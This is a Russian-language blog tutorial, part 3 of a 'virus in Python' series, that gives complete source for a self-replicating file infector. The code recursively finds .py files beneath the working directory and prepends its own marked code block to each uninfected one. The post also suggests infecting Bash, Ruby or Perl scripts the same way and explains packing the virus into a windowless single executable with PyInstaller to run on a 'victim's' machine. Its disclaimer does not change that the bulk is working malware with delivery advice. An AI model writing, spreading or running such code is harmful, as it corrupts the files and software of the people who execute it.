Найти в Дзене
Изучение Python

Вирус на Python ч. 3

Привет друзья! Сегодня мы напишем последний вирус на языке программирования Python.
Дисклеймер:
Вся информация предоставлена исключительно в ознакомительных целях. Автор не несет ответственность за любой возможный вред, причиненный материалами данной статьи.
Статья 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ (действующая редакция)
Оглавление

Привет друзья! Сегодня мы напишем последний вирус на языке программирования Python.

Дисклеймер:

Вся информация предоставлена исключительно в ознакомительных целях. Автор не несет ответственность за любой возможный вред, причиненный материалами данной статьи.
Статья 273 УК РФ. Создание, использование и распространение вредоносных компьютерных программ (действующая редакция)

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

import sys
import os

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

def code(void):
print("Infected")

Сразу вызовем ее, чтобы понять, что программа отработала:

code(None)

Обход директорий похож на тот, что мы делали в шифровальщике.

def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
# Если нашли файл, проверяем его расширение
if os.path.isfile(path):
# Если расширение — py, вызываем virus
if (os.path.splitext(path)[1] == ".py"):
virus(path)
else:
pass
else:
# Если это каталог, заходим в него
walk(path)

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

# START
# STOP

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

def virus(python):
begin = "# START #\n"
end = "# STOP #\n"
# Читаем атакуемый файл, назовем его copy
with open(sys.argv[0], "r") as copy:
# Создаем флаг
k = 0
# Создаем переменную для кода вируса и добавляем пустую строку
virus_code = "\n"
# Построчно проходим заражаемый файл
for line in copy:
# Если находим маркер начала, поднимаем флаг
if line == begin:
k = 1
# Добавляем маркер в зараженный код
virus_code += begin
# Если мы прошли начало, но не дошли до конца, копируем строку
elif k == 1 and line != end:
virus_code += line
# Если дошли до конца, добавляем финальный маркер и выходим из цикла
elif line == end:
virus_code += end
break
else:
pass
# Снова читаем заражаемый файл
with open(python, "r") as file:
# Создаем переменную для исходного кода
original_code = ""
# Построчно копируем заражаемый код
for line in file:
original_code += line
# Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir
if line == begin:
vir = True
break
# Если маркера нет, опускаем флаг vir
else:
vir = False
# Если флаг vir опущен, пишем в файл вирус и исходный код
if not vir:
with open(python, "w") as paste:
paste.write(virus_code + "\n\n" + original_code)
else:
pass

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

Устанавливаем

pip install PyInstaller

И вводим команду

PyInstaller "имя_файла.py" --onefile --noconsole

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.